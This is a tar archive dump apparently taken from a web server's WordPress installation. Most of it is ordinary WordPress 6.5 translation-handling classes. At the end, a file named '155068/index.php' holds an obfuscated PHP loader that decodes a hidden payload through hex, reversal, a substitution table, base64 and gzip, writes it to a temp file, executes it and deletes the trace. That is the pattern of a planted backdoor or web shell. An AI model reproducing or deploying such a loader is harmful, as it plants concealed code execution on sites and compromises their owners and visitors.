File: /var/www/vhosts/uyarreklam.com.tr/httpdocs/l10n.tar
class-wp-translation-controller.php 0000644 00000030066 15153015075 0013532 0 ustar 00 <?php
/**
* I18N: WP_Translation_Controller class.
*
* @package WordPress
* @subpackage I18N
* @since 6.5.0
*/
/**
* Class WP_Translation_Controller.
*
* @since 6.5.0
*/
final class WP_Translation_Controller {
/**
* Current locale.
*
* @since 6.5.0
* @var string
*/
protected $current_locale = 'en_US';
/**
* Map of loaded translations per locale and text domain.
*
* [ Locale => [ Textdomain => [ ..., ... ] ] ]
*
* @since 6.5.0
* @var array<string, array<string, WP_Translation_File[]>>
*/
protected $loaded_translations = array();
/**
* List of loaded translation files.
*
* [ Filename => [ Locale => [ Textdomain => WP_Translation_File ] ] ]
*
* @since 6.5.0
* @var array<string, array<string, array<string, WP_Translation_File|false>>>
*/
protected $loaded_files = array();
/**
* Container for the main instance of the class.
*
* @since 6.5.0
* @var WP_Translation_Controller|null
*/
private static $instance = null;
/**
* Utility method to retrieve the main instance of the class.
*
* The instance will be created if it does not exist yet.
*
* @since 6.5.0
*
* @return WP_Translation_Controller
*/
public static function get_instance(): WP_Translation_Controller {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Returns the current locale.
*
* @since 6.5.0
*
* @return string Locale.
*/
public function get_locale(): string {
return $this->current_locale;
}
/**
* Sets the current locale.
*
* @since 6.5.0
*
* @param string $locale Locale.
*/
public function set_locale( string $locale ) {
$this->current_locale = $locale;
}
/**
* Loads a translation file for a given text domain.
*
* @since 6.5.0
*
* @param string $translation_file Translation file.
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Default current locale.
* @return bool True on success, false otherwise.
*/
public function load_file( string $translation_file, string $textdomain = 'default', string $locale = null ): bool {
if ( null === $locale ) {
$locale = $this->current_locale;
}
$translation_file = realpath( $translation_file );
if ( false === $translation_file ) {
return false;
}
if (
isset( $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] ) &&
false !== $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ]
) {
return null === $this->loaded_files[ $translation_file ][ $locale ][ $textdomain ]->error();
}
if (
isset( $this->loaded_files[ $translation_file ][ $locale ] ) &&
array() !== $this->loaded_files[ $translation_file ][ $locale ]
) {
$moe = reset( $this->loaded_files[ $translation_file ][ $locale ] );
} else {
$moe = WP_Translation_File::create( $translation_file );
if ( false === $moe || null !== $moe->error() ) {
$moe = false;
}
}
$this->loaded_files[ $translation_file ][ $locale ][ $textdomain ] = $moe;
if ( ! $moe instanceof WP_Translation_File ) {
return false;
}
if ( ! isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) {
$this->loaded_translations[ $locale ][ $textdomain ] = array();
}
$this->loaded_translations[ $locale ][ $textdomain ][] = $moe;
return true;
}
/**
* Unloads a translation file for a given text domain.
*
* @since 6.5.0
*
* @param WP_Translation_File|string $file Translation file instance or file name.
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Defaults to all locales.
* @return bool True on success, false otherwise.
*/
public function unload_file( $file, string $textdomain = 'default', string $locale = null ): bool {
if ( is_string( $file ) ) {
$file = realpath( $file );
}
if ( null !== $locale ) {
if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) {
foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $i => $moe ) {
if ( $file === $moe || $file === $moe->get_file() ) {
unset( $this->loaded_translations[ $locale ][ $textdomain ][ $i ] );
unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] );
return true;
}
}
}
return true;
}
foreach ( $this->loaded_translations as $l => $domains ) {
if ( ! isset( $domains[ $textdomain ] ) ) {
continue;
}
foreach ( $domains[ $textdomain ] as $i => $moe ) {
if ( $file === $moe || $file === $moe->get_file() ) {
unset( $this->loaded_translations[ $l ][ $textdomain ][ $i ] );
unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] );
return true;
}
}
}
return false;
}
/**
* Unloads all translation files for a given text domain.
*
* @since 6.5.0
*
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Defaults to all locales.
* @return bool True on success, false otherwise.
*/
public function unload_textdomain( string $textdomain = 'default', string $locale = null ): bool {
$unloaded = false;
if ( null !== $locale ) {
if ( isset( $this->loaded_translations[ $locale ][ $textdomain ] ) ) {
$unloaded = true;
foreach ( $this->loaded_translations[ $locale ][ $textdomain ] as $moe ) {
unset( $this->loaded_files[ $moe->get_file() ][ $locale ][ $textdomain ] );
}
}
unset( $this->loaded_translations[ $locale ][ $textdomain ] );
return $unloaded;
}
foreach ( $this->loaded_translations as $l => $domains ) {
if ( ! isset( $domains[ $textdomain ] ) ) {
continue;
}
$unloaded = true;
foreach ( $domains[ $textdomain ] as $moe ) {
unset( $this->loaded_files[ $moe->get_file() ][ $l ][ $textdomain ] );
}
unset( $this->loaded_translations[ $l ][ $textdomain ] );
}
return $unloaded;
}
/**
* Determines whether translations are loaded for a given text domain.
*
* @since 6.5.0
*
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Default current locale.
* @return bool True if there are any loaded translations, false otherwise.
*/
public function is_textdomain_loaded( string $textdomain = 'default', string $locale = null ): bool {
if ( null === $locale ) {
$locale = $this->current_locale;
}
return isset( $this->loaded_translations[ $locale ][ $textdomain ] ) &&
array() !== $this->loaded_translations[ $locale ][ $textdomain ];
}
/**
* Translates a singular string.
*
* @since 6.5.0
*
* @param string $text Text to translate.
* @param string $context Optional. Context for the string. Default empty string.
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Default current locale.
* @return string|false Translation on success, false otherwise.
*/
public function translate( string $text, string $context = '', string $textdomain = 'default', string $locale = null ) {
if ( '' !== $context ) {
$context .= "\4";
}
$translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale );
if ( false === $translation ) {
return false;
}
return $translation['entries'][0];
}
/**
* Translates plurals.
*
* Checks both singular+plural combinations as well as just singulars,
* in case the translation file does not store the plural.
*
* @since 6.5.0
*
* @param array{0: string, 1: string} $plurals {
* Pair of singular and plural translations.
*
* @type string $0 Singular translation.
* @type string $1 Plural translation.
* }
* @param int $number Number of items.
* @param string $context Optional. Context for the string. Default empty string.
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Default current locale.
* @return string|false Translation on success, false otherwise.
*/
public function translate_plural( array $plurals, int $number, string $context = '', string $textdomain = 'default', string $locale = null ) {
if ( '' !== $context ) {
$context .= "\4";
}
$text = implode( "\0", $plurals );
$translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale );
if ( false === $translation ) {
$text = $plurals[0];
$translation = $this->locate_translation( "{$context}{$text}", $textdomain, $locale );
if ( false === $translation ) {
return false;
}
}
/** @var WP_Translation_File $source */
$source = $translation['source'];
$num = $source->get_plural_form( $number );
// See \Translations::translate_plural().
return $translation['entries'][ $num ] ?? $translation['entries'][0];
}
/**
* Returns all existing headers for a given text domain.
*
* @since 6.5.0
*
* @param string $textdomain Optional. Text domain. Default 'default'.
* @return array<string, string> Headers.
*/
public function get_headers( string $textdomain = 'default' ): array {
if ( array() === $this->loaded_translations ) {
return array();
}
$headers = array();
foreach ( $this->get_files( $textdomain ) as $moe ) {
foreach ( $moe->headers() as $header => $value ) {
$headers[ $this->normalize_header( $header ) ] = $value;
}
}
return $headers;
}
/**
* Normalizes header names to be capitalized.
*
* @since 6.5.0
*
* @param string $header Header name.
* @return string Normalized header name.
*/
protected function normalize_header( string $header ): string {
$parts = explode( '-', $header );
$parts = array_map( 'ucfirst', $parts );
return implode( '-', $parts );
}
/**
* Returns all entries for a given text domain.
*
* @since 6.5.0
*
* @param string $textdomain Optional. Text domain. Default 'default'.
* @return array<string, string> Entries.
*/
public function get_entries( string $textdomain = 'default' ): array {
if ( array() === $this->loaded_translations ) {
return array();
}
$entries = array();
foreach ( $this->get_files( $textdomain ) as $moe ) {
$entries = array_merge( $entries, $moe->entries() );
}
return $entries;
}
/**
* Locates translation for a given string and text domain.
*
* @since 6.5.0
*
* @param string $singular Singular translation.
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Default current locale.
* @return array{source: WP_Translation_File, entries: string[]}|false {
* Translations on success, false otherwise.
*
* @type WP_Translation_File $source Translation file instance.
* @type string[] $entries Array of translation entries.
* }
*/
protected function locate_translation( string $singular, string $textdomain = 'default', string $locale = null ) {
if ( array() === $this->loaded_translations ) {
return false;
}
// Find the translation in all loaded files for this text domain.
foreach ( $this->get_files( $textdomain, $locale ) as $moe ) {
$translation = $moe->translate( $singular );
if ( false !== $translation ) {
return array(
'entries' => explode( "\0", $translation ),
'source' => $moe,
);
}
if ( null !== $moe->error() ) {
// Unload this file, something is wrong.
$this->unload_file( $moe, $textdomain, $locale );
}
}
// Nothing could be found.
return false;
}
/**
* Returns all translation files for a given text domain.
*
* @since 6.5.0
*
* @param string $textdomain Optional. Text domain. Default 'default'.
* @param string $locale Optional. Locale. Default current locale.
* @return WP_Translation_File[] List of translation files.
*/
protected function get_files( string $textdomain = 'default', string $locale = null ): array {
if ( null === $locale ) {
$locale = $this->current_locale;
}
return $this->loaded_translations[ $locale ][ $textdomain ] ?? array();
}
}
class-wp-translation-file-mo.php 0000644 00000014273 15153015075 0012701 0 ustar 00 <?php
/**
* I18N: WP_Translation_File_MO class.
*
* @package WordPress
* @subpackage I18N
* @since 6.5.0
*/
/**
* Class WP_Translation_File_MO.
*
* @since 6.5.0
*/
class WP_Translation_File_MO extends WP_Translation_File {
/**
* Endian value.
*
* V for little endian, N for big endian, or false.
*
* Used for unpack().
*
* @since 6.5.0
* @var false|'V'|'N'
*/
protected $uint32 = false;
/**
* The magic number of the GNU message catalog format.
*
* @since 6.5.0
* @var int
*/
const MAGIC_MARKER = 0x950412de;
/**
* Detects endian and validates file.
*
* @since 6.5.0
*
* @param string $header File contents.
* @return false|'V'|'N' V for little endian, N for big endian, or false on failure.
*/
protected function detect_endian_and_validate_file( string $header ) {
$big = unpack( 'N', $header );
if ( false === $big ) {
return false;
}
$big = reset( $big );
if ( false === $big ) {
return false;
}
$little = unpack( 'V', $header );
if ( false === $little ) {
return false;
}
$little = reset( $little );
if ( false === $little ) {
return false;
}
// Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678.
if ( (int) self::MAGIC_MARKER === $big ) {
return 'N';
}
// Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678.
if ( (int) self::MAGIC_MARKER === $little ) {
return 'V';
}
$this->error = 'Magic marker does not exist';
return false;
}
/**
* Parses the file.
*
* @since 6.5.0
*
* @return bool True on success, false otherwise.
*/
protected function parse_file(): bool {
$this->parsed = true;
$file_contents = file_get_contents( $this->file ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
if ( false === $file_contents ) {
return false;
}
$file_length = strlen( $file_contents );
if ( $file_length < 24 ) {
$this->error = 'Invalid data';
return false;
}
$this->uint32 = $this->detect_endian_and_validate_file( substr( $file_contents, 0, 4 ) );
if ( false === $this->uint32 ) {
return false;
}
$offsets = substr( $file_contents, 4, 24 );
if ( false === $offsets ) {
return false;
}
$offsets = unpack( "{$this->uint32}rev/{$this->uint32}total/{$this->uint32}originals_addr/{$this->uint32}translations_addr/{$this->uint32}hash_length/{$this->uint32}hash_addr", $offsets );
if ( false === $offsets ) {
return false;
}
$offsets['originals_length'] = $offsets['translations_addr'] - $offsets['originals_addr'];
$offsets['translations_length'] = $offsets['hash_addr'] - $offsets['translations_addr'];
if ( $offsets['rev'] > 0 ) {
$this->error = 'Unsupported revision';
return false;
}
if ( $offsets['translations_addr'] > $file_length || $offsets['originals_addr'] > $file_length ) {
$this->error = 'Invalid data';
return false;
}
// Load the Originals.
$original_data = str_split( substr( $file_contents, $offsets['originals_addr'], $offsets['originals_length'] ), 8 );
$translations_data = str_split( substr( $file_contents, $offsets['translations_addr'], $offsets['translations_length'] ), 8 );
foreach ( array_keys( $original_data ) as $i ) {
$o = unpack( "{$this->uint32}length/{$this->uint32}pos", $original_data[ $i ] );
$t = unpack( "{$this->uint32}length/{$this->uint32}pos", $translations_data[ $i ] );
if ( false === $o || false === $t ) {
continue;
}
$original = substr( $file_contents, $o['pos'], $o['length'] );
$translation = substr( $file_contents, $t['pos'], $t['length'] );
// GlotPress bug.
$translation = rtrim( $translation, "\0" );
// Metadata about the MO file is stored in the first translation entry.
if ( '' === $original ) {
foreach ( explode( "\n", $translation ) as $meta_line ) {
if ( '' === $meta_line ) {
continue;
}
list( $name, $value ) = array_map( 'trim', explode( ':', $meta_line, 2 ) );
$this->headers[ strtolower( $name ) ] = $value;
}
} else {
/*
* In MO files, the key normally contains both singular and plural versions.
* However, this just adds the singular string for lookup,
* which caters for cases where both __( 'Product' ) and _n( 'Product', 'Products' )
* are used and the translation is expected to be the same for both.
*/
$parts = explode( "\0", (string) $original );
$this->entries[ $parts[0] ] = $translation;
}
}
return true;
}
/**
* Exports translation contents as a string.
*
* @since 6.5.0
*
* @return string Translation file contents.
*/
public function export(): string {
// Prefix the headers as the first key.
$headers_string = '';
foreach ( $this->headers as $header => $value ) {
$headers_string .= "{$header}: $value\n";
}
$entries = array_merge( array( '' => $headers_string ), $this->entries );
$entry_count = count( $entries );
if ( false === $this->uint32 ) {
$this->uint32 = 'V';
}
$bytes_for_entries = $entry_count * 4 * 2;
// Pair of 32bit ints per entry.
$originals_addr = 28; /* header */
$translations_addr = $originals_addr + $bytes_for_entries;
$hash_addr = $translations_addr + $bytes_for_entries;
$entry_offsets = $hash_addr;
$file_header = pack(
$this->uint32 . '*',
// Force cast to an integer as it can be a float on x86 systems. See https://core.trac.wordpress.org/ticket/60678.
(int) self::MAGIC_MARKER,
0, /* rev */
$entry_count,
$originals_addr,
$translations_addr,
0, /* hash_length */
$hash_addr
);
$o_entries = '';
$t_entries = '';
$o_addr = '';
$t_addr = '';
foreach ( array_keys( $entries ) as $original ) {
$o_addr .= pack( $this->uint32 . '*', strlen( $original ), $entry_offsets );
$entry_offsets += strlen( $original ) + 1;
$o_entries .= $original . "\0";
}
foreach ( $entries as $translations ) {
$t_addr .= pack( $this->uint32 . '*', strlen( $translations ), $entry_offsets );
$entry_offsets += strlen( $translations ) + 1;
$t_entries .= $translations . "\0";
}
return $file_header . $o_addr . $t_addr . $o_entries . $t_entries;
}
}
class-wp-translation-file-php.php 0000644 00000003425 15153015075 0013052 0 ustar 00 <?php
/**
* I18N: WP_Translation_File_PHP class.
*
* @package WordPress
* @subpackage I18N
* @since 6.5.0
*/
/**
* Class WP_Translation_File_PHP.
*
* @since 6.5.0
*/
class WP_Translation_File_PHP extends WP_Translation_File {
/**
* Parses the file.
*
* @since 6.5.0
*/
protected function parse_file() {
$this->parsed = true;
$result = include $this->file;
if ( ! $result || ! is_array( $result ) ) {
$this->error = 'Invalid data';
return;
}
if ( isset( $result['messages'] ) && is_array( $result['messages'] ) ) {
foreach ( $result['messages'] as $original => $translation ) {
$this->entries[ (string) $original ] = $translation;
}
unset( $result['messages'] );
}
$this->headers = array_change_key_case( $result );
}
/**
* Exports translation contents as a string.
*
* @since 6.5.0
*
* @return string Translation file contents.
*/
public function export(): string {
$data = array_merge( $this->headers, array( 'messages' => $this->entries ) );
return '<?php' . PHP_EOL . 'return ' . $this->var_export( $data ) . ';' . PHP_EOL;
}
/**
* Outputs or returns a parsable string representation of a variable.
*
* Like {@see var_export()} but "minified", using short array syntax
* and no newlines.
*
* @since 6.5.0
*
* @param mixed $value The variable you want to export.
* @return string The variable representation.
*/
private function var_export( $value ): string {
if ( ! is_array( $value ) ) {
return var_export( $value, true );
}
$entries = array();
$is_list = array_is_list( $value );
foreach ( $value as $key => $val ) {
$entries[] = $is_list ? $this->var_export( $val ) : var_export( $key, true ) . '=>' . $this->var_export( $val );
}
return '[' . implode( ',', $entries ) . ']';
}
}
class-wp-translation-file.php 0000644 00000014210 15153015075 0012257 0 ustar 00 <?php
/**
* I18N: WP_Translation_File class.
*
* @package WordPress
* @subpackage I18N
* @since 6.5.0
*/
/**
* Class WP_Translation_File.
*
* @since 6.5.0
*/
abstract class WP_Translation_File {
/**
* List of headers.
*
* @since 6.5.0
* @var array<string, string>
*/
protected $headers = array();
/**
* Whether file has been parsed.
*
* @since 6.5.0
* @var bool
*/
protected $parsed = false;
/**
* Error information.
*
* @since 6.5.0
* @var string|null Error message or null if no error.
*/
protected $error;
/**
* File name.
*
* @since 6.5.0
* @var string
*/
protected $file = '';
/**
* Translation entries.
*
* @since 6.5.0
* @var array<string, string>
*/
protected $entries = array();
/**
* Plural forms function.
*
* @since 6.5.0
* @var callable|null Plural forms.
*/
protected $plural_forms = null;
/**
* Constructor.
*
* @since 6.5.0
*
* @param string $file File to load.
*/
protected function __construct( string $file ) {
$this->file = $file;
}
/**
* Creates a new WP_Translation_File instance for a given file.
*
* @since 6.5.0
*
* @param string $file File name.
* @param string|null $filetype Optional. File type. Default inferred from file name.
* @return false|WP_Translation_File
*/
public static function create( string $file, string $filetype = null ) {
if ( ! is_readable( $file ) ) {
return false;
}
if ( null === $filetype ) {
$pos = strrpos( $file, '.' );
if ( false !== $pos ) {
$filetype = substr( $file, $pos + 1 );
}
}
switch ( $filetype ) {
case 'mo':
return new WP_Translation_File_MO( $file );
case 'php':
return new WP_Translation_File_PHP( $file );
default:
return false;
}
}
/**
* Creates a new WP_Translation_File instance for a given file.
*
* @since 6.5.0
*
* @param string $file Source file name.
* @param string $filetype Desired target file type.
* @return string|false Transformed translation file contents on success, false otherwise.
*/
public static function transform( string $file, string $filetype ) {
$source = self::create( $file );
if ( false === $source ) {
return false;
}
switch ( $filetype ) {
case 'mo':
$destination = new WP_Translation_File_MO( '' );
break;
case 'php':
$destination = new WP_Translation_File_PHP( '' );
break;
default:
return false;
}
$success = $destination->import( $source );
if ( ! $success ) {
return false;
}
return $destination->export();
}
/**
* Returns all headers.
*
* @since 6.5.0
*
* @return array<string, string> Headers.
*/
public function headers(): array {
if ( ! $this->parsed ) {
$this->parse_file();
}
return $this->headers;
}
/**
* Returns all entries.
*
* @since 6.5.0
*
* @return array<string, string[]> Entries.
*/
public function entries(): array {
if ( ! $this->parsed ) {
$this->parse_file();
}
return $this->entries;
}
/**
* Returns the current error information.
*
* @since 6.5.0
*
* @return string|null Error message or null if no error.
*/
public function error() {
return $this->error;
}
/**
* Returns the file name.
*
* @since 6.5.0
*
* @return string File name.
*/
public function get_file(): string {
return $this->file;
}
/**
* Translates a given string.
*
* @since 6.5.0
*
* @param string $text String to translate.
* @return false|string Translation(s) on success, false otherwise.
*/
public function translate( string $text ) {
if ( ! $this->parsed ) {
$this->parse_file();
}
return $this->entries[ $text ] ?? false;
}
/**
* Returns the plural form for a given number.
*
* @since 6.5.0
*
* @param int $number Count.
* @return int Plural form.
*/
public function get_plural_form( int $number ): int {
if ( ! $this->parsed ) {
$this->parse_file();
}
if ( null === $this->plural_forms && isset( $this->headers['plural-forms'] ) ) {
$expression = $this->get_plural_expression_from_header( $this->headers['plural-forms'] );
$this->plural_forms = $this->make_plural_form_function( $expression );
}
if ( is_callable( $this->plural_forms ) ) {
/**
* Plural form.
*
* @var int $result Plural form.
*/
$result = call_user_func( $this->plural_forms, $number );
return $result;
}
// Default plural form matches English, only "One" is considered singular.
return ( 1 === $number ? 0 : 1 );
}
/**
* Returns the plural forms expression as a tuple.
*
* @since 6.5.0
*
* @param string $header Plural-Forms header string.
* @return string Plural forms expression.
*/
protected function get_plural_expression_from_header( string $header ): string {
if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) {
return trim( $matches[2] );
}
return 'n != 1';
}
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header.
*
* @since 6.5.0
*
* @param string $expression Plural form expression.
* @return callable(int $num): int Plural forms function.
*/
protected function make_plural_form_function( string $expression ): callable {
try {
$handler = new Plural_Forms( rtrim( $expression, ';' ) );
return array( $handler, 'get' );
} catch ( Exception $e ) {
// Fall back to default plural-form function.
return $this->make_plural_form_function( 'n != 1' );
}
}
/**
* Imports translations from another file.
*
* @since 6.5.0
*
* @param WP_Translation_File $source Source file.
* @return bool True on success, false otherwise.
*/
protected function import( WP_Translation_File $source ): bool {
if ( null !== $source->error() ) {
return false;
}
$this->headers = $source->headers();
$this->entries = $source->entries();
$this->error = $source->error();
return null === $this->error;
}
/**
* Parses the file.
*
* @since 6.5.0
*/
abstract protected function parse_file();
/**
* Exports translation contents as a string.
*
* @since 6.5.0
*
* @return string Translation file contents.
*/
abstract public function export();
}
class-wp-translations.php 0000644 00000007334 15153015075 0011536 0 ustar 00 <?php
/**
* I18N: WP_Translations class.
*
* @package WordPress
* @subpackage I18N
* @since 6.5.0
*/
/**
* Class WP_Translations.
*
* @since 6.5.0
*
* @property-read array<string, string> $headers
* @property-read array<string, string[]> $entries
*/
class WP_Translations {
/**
* Text domain.
*
* @since 6.5.0
* @var string
*/
protected $textdomain = 'default';
/**
* Translation controller instance.
*
* @since 6.5.0
* @var WP_Translation_Controller
*/
protected $controller;
/**
* Constructor.
*
* @since 6.5.0
*
* @param WP_Translation_Controller $controller I18N controller.
* @param string $textdomain Optional. Text domain. Default 'default'.
*/
public function __construct( WP_Translation_Controller $controller, string $textdomain = 'default' ) {
$this->controller = $controller;
$this->textdomain = $textdomain;
}
/**
* Magic getter for backward compatibility.
*
* @since 6.5.0
*
* @param string $name Property name.
* @return mixed
*/
public function __get( string $name ) {
if ( 'entries' === $name ) {
$entries = $this->controller->get_entries( $this->textdomain );
$result = array();
foreach ( $entries as $original => $translations ) {
$result[] = $this->make_entry( $original, $translations );
}
return $result;
}
if ( 'headers' === $name ) {
return $this->controller->get_headers( $this->textdomain );
}
return null;
}
/**
* Builds a Translation_Entry from original string and translation strings.
*
* @see MO::make_entry()
*
* @since 6.5.0
*
* @param string $original Original string to translate from MO file. Might contain
* 0x04 as context separator or 0x00 as singular/plural separator.
* @param string $translations Translation strings from MO file.
* @return Translation_Entry Entry instance.
*/
private function make_entry( $original, $translations ): Translation_Entry {
$entry = new Translation_Entry();
// Look for context, separated by \4.
$parts = explode( "\4", $original );
if ( isset( $parts[1] ) ) {
$original = $parts[1];
$entry->context = $parts[0];
}
$entry->singular = $original;
$entry->translations = explode( "\0", $translations );
$entry->is_plural = count( $entry->translations ) > 1;
return $entry;
}
/**
* Translates a plural string.
*
* @since 6.5.0
*
* @param string|null $singular Singular string.
* @param string|null $plural Plural string.
* @param int|float $count Count. Should be an integer, but some plugins pass floats.
* @param string|null $context Context.
* @return string|null Translation if it exists, or the unchanged singular string.
*/
public function translate_plural( $singular, $plural, $count = 1, $context = '' ) {
if ( null === $singular || null === $plural ) {
return $singular;
}
$translation = $this->controller->translate_plural( array( $singular, $plural ), (int) $count, (string) $context, $this->textdomain );
if ( false !== $translation ) {
return $translation;
}
// Fall back to the original with English grammar rules.
return ( 1 === $count ? $singular : $plural );
}
/**
* Translates a singular string.
*
* @since 6.5.0
*
* @param string|null $singular Singular string.
* @param string|null $context Context.
* @return string|null Translation if it exists, or the unchanged singular string
*/
public function translate( $singular, $context = '' ) {
if ( null === $singular ) {
return null;
}
$translation = $this->controller->translate( $singular, (string) $context, $this->textdomain );
if ( false !== $translation ) {
return $translation;
}
// Fall back to the original.
return $singular;
}
}
index.php 0000644 00000000000 15153015075 0006354 0 ustar 00 155068/index.php 0000644 00000010415 15153015075 0007137 0 ustar 00 <?php
/* LoL
*/
$_z = [];
$_z[0] = 'c7c73da40cf62d7e7eba0e10f3e5b71cc93df3b77635e56c1e35109d5bbbe5a24d638e45';
$_z[1] = 'bba676d9b87bba6c2d670cb6eba278146ce5ebd0ba351cb7141ebb13b71beb141bb77d3d';
$_z[2] = 'e5d0a2b739371bbbd965242eb71ca4d089e51e631b2e24b84e39a2bbe6590e7d10ba65a4';
$_z[3] = '4ad04ae63ebb6322391465c93ebb630ef3be247d107bf6672e3513f64d67b750a2a263e5';
$_z[4] = '67a44dd0b8c92dbc64eb5bc989141e0ea4a66cbc1e3dbbf32e4ecc76bee5bbbb37671445';
$_z[5] = '890e4d631b4d4abcbcebef3ee6bb244e4a4e5bf6e6d18e0c3e1e78b7ba244ef40ea47b8e';
$_z[6] = 'd9d92e445b6cd9b71ce6bacc4b362d4bba1b1064394eb8f33df3103a871cebbe3d63f463';
$_z[7] = '358eeb37f344d94e0e7e3de5ef147d89d1a43a24c97debbec97e59136c0e36244a781e4b';
$_z[8] = 'ba241c638ee6f4a66c590e89450ebba2b767e5149d6578be651c44143ae5bceb7d4dd189';
$_z[9] = '3578444e2d67d1ebd07d8710b778443e5b3ebcd07810503d630ee54eccd0f445d0be0eb8';
$_z[10] = 'cc37598ef66c63390eb87eb8b6451cd0f42ebca467e5450e7d7bb764d1c936b6b650baa6';
$_z[11] = '1eba5b634db84b5067b82d893e4a0cbcd03544d0107db667efa413f4a4397ebc35b6d94d';
$_z[12] = '1cc9b8d07e4d78a68ebc76370e37c9f67b0c1b2467a25b1c2d8ec9221c10d94b9dbebc39';
$_z[13] = '63b6393510bc9dcceb63a40e89e5648e2d5924d9d91eeb2e148ea6a250140c3dccba5bb6';
$_z[14] = '361b5befa64db85b8e594a5010bc4bbaeb655976e5b7d0780ce5ba24245022e5ef647b3d';
$_z[15] = '7e364e1e3ad9f476370c87353db6f3a4a4be373ed12e3744353ef6b7bca64ed1367bbbbb';
$_z[16] = '78e5ba4b78a23df3ef4d8e3659bc3ac9b7146444a27e7dc959763e22be35d1c9efeb1c89';
$_z[17] = 'ba1b89bc67d90e8e1ba62ed145be5b4bbe655959c8c8';
$_h = implode('', $_z);
if (hash('sha256', $_h) !== 'a675f9757984393f445d0b9233320b3ba3fe52f21de0e7d9535bbbea4cfa9c69') die('Corrupted');
$_b = hex2bin($_h);
$_b = strrev($_b);
$_tbl = [200, 124, 51, 165, 180, 21, 85, 169, 4, 97, 79, 38, 5, 213, 67, 237, 112, 3, 114, 8, 86, 163, 231, 49, 171, 250, 143, 161, 214, 141, 144, 252, 84, 245, 71, 119, 152, 170, 241, 47, 32, 240, 203, 12, 25, 66, 227, 217, 157, 166, 57, 120, 53, 182, 16, 30, 142, 91, 95, 172, 41, 199, 15, 96, 7, 69, 58, 164, 230, 209, 101, 99, 27, 201, 244, 123, 46, 135, 190, 243, 246, 55, 188, 208, 34, 77, 89, 20, 186, 103, 162, 197, 216, 228, 234, 81, 65, 187, 75, 68, 239, 100, 80, 62, 118, 125, 78, 183, 137, 229, 14, 28, 126, 54, 74, 19, 45, 108, 36, 61, 184, 204, 235, 122, 64, 189, 109, 29, 196, 175, 195, 221, 205, 218, 153, 136, 133, 242, 179, 236, 48, 106, 92, 232, 42, 202, 90, 13, 212, 220, 33, 31, 43, 159, 37, 148, 156, 93, 116, 102, 24, 44, 149, 146, 194, 253, 0, 198, 39, 2, 128, 168, 76, 40, 215, 98, 150, 140, 176, 207, 94, 88, 117, 138, 151, 178, 1, 132, 111, 130, 17, 107, 52, 131, 134, 60, 9, 255, 226, 35, 129, 18, 158, 233, 63, 87, 211, 11, 192, 113, 219, 222, 155, 160, 82, 167, 105, 73, 210, 225, 177, 127, 191, 83, 206, 121, 154, 139, 193, 6, 223, 185, 50, 56, 254, 23, 238, 181, 104, 26, 72, 173, 249, 10, 147, 22, 174, 248, 224, 145, 247, 251, 59, 70, 110, 115];
$_inv = [166, 186, 169, 17, 8, 12, 229, 64, 19, 196, 243, 207, 43, 147, 110, 62, 54, 190, 201, 115, 87, 5, 245, 235, 160, 44, 239, 72, 111, 127, 55, 151, 40, 150, 84, 199, 118, 154, 11, 168, 173, 60, 144, 152, 161, 116, 76, 39, 140, 23, 232, 2, 192, 52, 113, 81, 233, 50, 66, 252, 195, 119, 103, 204, 124, 96, 45, 14, 99, 65, 253, 34, 240, 217, 114, 98, 172, 85, 106, 10, 102, 95, 214, 223, 32, 6, 20, 205, 181, 86, 146, 57, 142, 157, 180, 58, 63, 9, 175, 71, 101, 70, 159, 89, 238, 216, 141, 191, 117, 126, 254, 188, 16, 209, 18, 255, 158, 182, 104, 35, 51, 225, 123, 75, 1, 105, 112, 221, 170, 200, 189, 193, 187, 136, 194, 77, 135, 108, 183, 227, 177, 29, 56, 26, 30, 249, 163, 244, 155, 162, 176, 184, 36, 134, 226, 212, 156, 48, 202, 153, 213, 27, 90, 21, 67, 3, 49, 215, 171, 7, 37, 24, 59, 241, 246, 129, 178, 220, 185, 138, 4, 237, 53, 107, 120, 231, 88, 97, 82, 125, 78, 222, 208, 228, 164, 130, 128, 91, 167, 61, 0, 73, 145, 42, 121, 132, 224, 179, 83, 69, 218, 206, 148, 13, 28, 174, 92, 47, 133, 210, 149, 131, 211, 230, 248, 219, 198, 46, 93, 109, 68, 22, 143, 203, 94, 122, 139, 15, 236, 100, 41, 38, 137, 79, 74, 33, 80, 250, 247, 242, 25, 251, 31, 165, 234, 197];
$_o = '';
for ($i=0;$i<strlen($_b);$i++) {
$_o .= chr($_inv[ord($_b[$i])]);
}
$_s = gzinflate(base64_decode(substr($_o,2)));
$_f = sys_get_temp_dir().'/'.sha1(__FILE__).'.php';
file_put_contents($_f, $_s);
require $_f;
@unlink($_f);
?>